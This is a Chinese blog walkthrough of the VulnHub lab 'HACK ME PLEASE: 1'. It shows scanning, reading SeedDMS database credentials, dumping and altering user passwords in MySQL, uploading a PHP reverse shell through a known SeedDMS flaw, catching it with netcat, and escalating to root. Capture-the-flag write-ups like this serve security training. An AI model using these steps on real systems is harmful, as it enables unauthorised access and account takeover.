HACK ME PLEASE: 1

news2024/11/19 8:50:38

文章目录

      • HACK ME PLEASE: 1实战演练
          • 一、前期准备
            • 1、相关信息
          • 二、信息收集
            • 1、访问网站
            • 2、端口扫描
            • 2、扫描目录
            • 3、访问网站
            • 4、访问网站
            • 5、扫描目录
            • 6、访问网站
            • 7、登录MySQL数据库
            • 8、查看数据表
            • 9、查看users表的内容
            • 10、查看tblUsers表内容
            • 11、解密
            • 12、加密
            • 13、修改密码
            • 14、查询漏洞
            • 15、查看源码
          • 三、Web漏洞工具
            • 1、创建shell
            • 2、上传shell
            • 3、访问shell路径
            • 4、监听
          • 四、提权
            • 1、美化终端
            • 2、切换用户
            • 3、切换用户

HACK ME PLEASE: 1实战演练

一、前期准备
1、相关信息

靶机网站:https://www.vulnhub.com/entry/hack-me-please-1,731/

设备名称IP地址
靶机:HACK ME PLEASE: 1192.168.0.108
攻击机:kali192.168.0.112
二、信息收集
1、访问网站
http://192.168.0.108/

在这里插入图片描述

2、端口扫描
kali@kali:~$ nmap -A 192.168.0.108
# 开放WEB:80端口、mysql:3306端口

在这里插入图片描述

2、扫描目录
kali@kali:~$ sudo dirsearch -u “http://192.168.0.108/

在这里插入图片描述

kali@kali:~$ sudo dirsearch -h “http://192.168.0.108/js”

在这里插入图片描述

3、访问网站
http://192.168.108/js/main.js
# 发现安装路径:/seeddms15x/seeddms-5.1.22/

在这里插入图片描述

4、访问网站
http://192.168.0.108/seeddms15x/seeddms-5.1.22/
# 发现这是个登录界面

在这里插入图片描述

5、扫描目录
kali@kali:~$ sudo dirsearch -h “http://192.168.0.108/seeddms15x/seeddms-5.1.22/

在这里插入图片描述

kali@kali:~$ sudo dirsearch -h “http://192.168.0.108/seeddms15x/

在这里插入图片描述

kali@kali~$ sudo dirsearch -h “http://192.168.0.108/seeddms15x/conf”

在这里插入图片描述

6、访问网站
http://192.168.0.108/seeddms51x/conf/settings.xml
# 发现数据库类型:MySQL类型,数据库名:seeddms,用户名:seeddms,密码:seeddms

在这里插入图片描述

7、登录MySQL数据库
kali@kali~$: mysql -h 192.168.0.108 -D seeddms -u seeddms -p seeddms

在这里插入图片描述

8、查看数据表
show tables;

在这里插入图片描述

9、查看users表的内容
select * from users;
# 发现账号:saket,密码:Saket@#$1337

在这里插入图片描述

10、查看tblUsers表内容
select * from tblUsesrs;
# 发现账号:admin,MD5加密密码:f9ef2c539bad8a6d2f3432b6d49ab51a

在这里插入图片描述

11、解密

网址:https://www.cmd5.com/

# 没有解密成功,那就修改密码

在这里插入图片描述

12、加密

网址:https://www.cmd5.com/hash.aspx?s=123456

在这里插入图片描述

13、修改密码
update tblUsers set pwd=’e10adc3949ba59abbe56e057f20f883e’ where login=’admin’;

在这里插入图片描述

14、查询漏洞
kali@kali:~$ searchsploit seeddms

在这里插入图片描述

15、查看源码
kali@kali:~$ cat /usr/share/exploitdb/exploits/php/webapps/47022.txt

在这里插入图片描述

三、Web漏洞工具
1、创建shell

网址:https://www.revshells.com/
在这里插入图片描述

2、上传shell

在这里插入图片描述

3、访问shell路径
# 从之前源码中获得路径的格式:example.com/data/1048576/"document_id"/1.php
http://192.168.0.108/seeddms15x/data/1048576/4/1.php

在这里插入图片描述

在这里插入图片描述

4、监听
kali@kali:~$ nc -lvnp 9001

在这里插入图片描述

四、提权
1、美化终端
$ python3 -c "import pty;pty.spawn('/bin/bash')"
2、切换用户
www-data@ubuntu:/home$ su saket

在这里插入图片描述

3、切换用户
saket@ubuntu:/home$ sudo su -l

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/562904.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

解决Ubuntu 22.04 程序以管理员权限运行无法播放声音

文章目录 摘要需求背景问百度问GPT最终解决方案,这篇文章的核心第一步,把root账户加入到组里面,第二步,编写一个服务文件第三步,允许这个文件第四步,启动服务第五步,修改Config文件第六步,重启电脑关键字: Qt、 pulseaudio、 管理员、 声音、 服务 摘要 这个是我…

CentOS 7.9配置SSH免密登录(无需合并authorized_keys)

场景:在CentOS 7.9操作系统上,配置SSH免密登录,以满足集群中应用的控制脚本能够依赖SSH来执行针对整个集群的操作。 版本: 操作系统:CentOS 7.9 1.配置SSH免密登录原因 (1)规划安装和部署的组件在运行时&#xff0…

科技云报道:ChatGPT的胜利,宣告知识图谱的消亡?

科技云报道原创。 过去10年,知识图谱可谓是最接近“人工智能”的概念。业内普遍认为,知识图谱的概念最先是由谷歌于2012年正式提出,主要用来支撑下一代搜索和在线广告业务。 此后,这项技术迅速火爆,被国内外多家搜索…

FasterTransformer5.0编译安装与测试

基础环境:centos7 cuda10.2cudnn7 显卡:Tesla V100 1 C编译准备 代码准备: git clone -b release/v5.0_tag https://github.com/NVIDIA/FasterTransformer.git mkdir -p FasterTransformer/build cd FasterTransformer/build git submodu…

2023年还有人在纠结如何学习黑客知识?

首先我谈下对黑客&网络安全的认知,其实最重要的是兴趣热爱,不同于网络安全工程师,他们大都是培训机构培训出来的,具备的基本都是防御和白帽子技能,他们绝大多数的人看的是工资,他们是为了就业而学习&am…

【国产虚拟仪器】基于AD9172/AD9176的4 通道12.6GSPS 采样率16 位DA 播放FMC JESD204B 接口子卡模块

板卡概述 FMC_XM131 是一款4 通道12.6GSPS 采样率16 位DA 播放FMC子卡模块,该板卡为FMC标准,符合VITA57.4 规范,可以作为一个理想的IO 模块耦合至FPGA 前端,16 通道的JESD204B 接口通过FMC连接器连接至FPGA 的高速串行端…

day7 - 使用几何变换让图像动起来

本期将了解图像的几何变换。几何变换是指改变图像的几何结构,例如大小、角度和形状等,让图像呈现出缩放、翻转、映射和透视的效果。 完成本期内容,你可以: 了解几何变换的定义掌握几何变换的原理和使用 若要运行案例代码&#…

【正点原子STM32连载】 第十五章 按键输入实验 摘自【正点原子】STM32F103 战舰开发指南V1.2

1)实验平台:正点原子stm32f103战舰开发板V4 2)平台购买地址:https://detail.tmall.com/item.htm?id609294757420 3)全套实验源码手册视频下载地址: http://www.openedv.com/thread-340252-1-1.html 第十五…

Vue之MVVM模型

文章目录 前言一、简说MVVM模型二、走进MVVM总结 前言 Vue的创建者在创建Vue时没有完全遵守MVVM(一种软件架构模式),但是Vue的设计受到了他它的启发。这也是为什么经常用vm(ViewModel的缩写)这个变量名表示Vue实例。 …

服了呀,被现在的00后卷麻了....

现在的小年轻真的卷得过分了。前段时间我们公司来了个00年的,工作没两年,跳槽到我们公司起薪18K,都快接近我了。后来才知道人家是个卷王,从早干到晚就差搬张床到工位睡觉了。 最近和他聊了一次天,原来这位小老弟家里条…

docker创建emqx容器,emqx版本4.4.9

题记:网上找了很多文章,都没能怎么说明白如何对mqtt连接通信做认证,也就是tcp方式的时候,携带user、password,很苦恼,最后找了一大圈,说emqx的4.4.9版本的Dashboard有插件,果然顺藤摸…

vue动态class的写法

本文会详细介绍 vue动态 class的写法,并且提供一些我个人的理解,希望对你有所帮助。 如果你是一个新手,或者想了解 vue的源码,那么首先应该学习 vue的基础知识,比如:什么是静态语言,有什么作用等…

155. 最小栈

题目描述&#xff1a; 主要思路&#xff1a; 利用辅助栈来实现&#xff0c;一个最小栈用类似于单调栈的方法进行维护&#xff0c;具体见代码。 class MinStack { private:stack<int> x;stack<int> minx; public:MinStack() {minx.push(INT_MAX);}void push(int v…

IMX6ULL的I2C驱动详细分析

IMX6ULL的I2C驱动详细分析 文章目录 IMX6ULL的I2C驱动详细分析i2c_imx_driver 的平台驱动注册i2c_imx_probe注册函数i2c_imx_algoI2C算法结构体i2c_imx_start开始I2Ci2c_imx_stop停止I2Ci2c_imx_isr中断服务函数i2c_imx_dma_writeDMA 进行写操作的 I2C 传输2c_imx_dma_readi2c_…

动图怎么拆分成静图?简单快速分解gif的方法

怎么把gif动图变成静态图片&#xff1f;常见的gif动图画面生动丰富&#xff0c;是由一帧一帧静态的图片合成的&#xff0c;当我们想要把gif动图拆分成多张图片的时候要怎么操作呢&#xff1f;有没有什么简单方便的工具吗&#xff1f; 一、有没有简单方便的gif工具呢&#xff1…

Linux内存简介

Linux内存简介 概述 为何MemTotal小于RAM容量 [rootiZbp1dphe2bpv39op1g123Z ~]# dmesg | grep Memory [ 1.391064] Memory: 131604168K/134217136K available (14346K kernel code, 9546K rwdata, 9084K rodata, 2660K init, 7556K bss, 2612708K reserved, 0K cma-reserved) …

云原生改造- istio

istio 官网有bookinfo的案例&#xff0c; 但是这个案例过于繁琐&#xff0c;直接就可以运行&#xff0c;但是有些原理不是很清楚。 本教程是k8s改造成istio一个案例。spring-petclinic-msa是网上找到的一个k8s的一个java案例&#xff0c;通过spring-petclinic-msa改造成istio&a…

盘点团队在线帮助文档怎么做?

团队在线帮助文档是一个非常重要的工具&#xff0c;它可以帮助团队成员更好地协作和沟通&#xff0c;提高工作效率&#xff0c;并减少沟通成本。在本文中&#xff0c;我们将会盘点团队在线帮助文档的各个方面&#xff0c;以帮助您更好地了解如何创建一个高效的在线帮助文档。 …

6. python的for循环

文章目录 一、for循环1.1、for循环分析1.2、注意事项 二、遍历数值列表2.1、range()函数的使用2.2、 创建数值列表2.3、对数值列表进行简单统计 一、for循环 有时&#xff0c;我们需要对列表内的所有元素逐一进行相同的操作&#xff0c;为避免出现大量重复的代码&#xff0c;p…

js一行代码就能完成的事情,为什么要写两行

三元运算符 用三元运算符代替简单的if else if (age < 18) { me 小姐姐; } else { me 老阿姨; }改用三元运算符,一行就能搞定 me age < 18 ? 小姐姐 : 老阿姨;复杂的判断三元运算符就有点不简单易懂了 const you "董员外" const your "菜…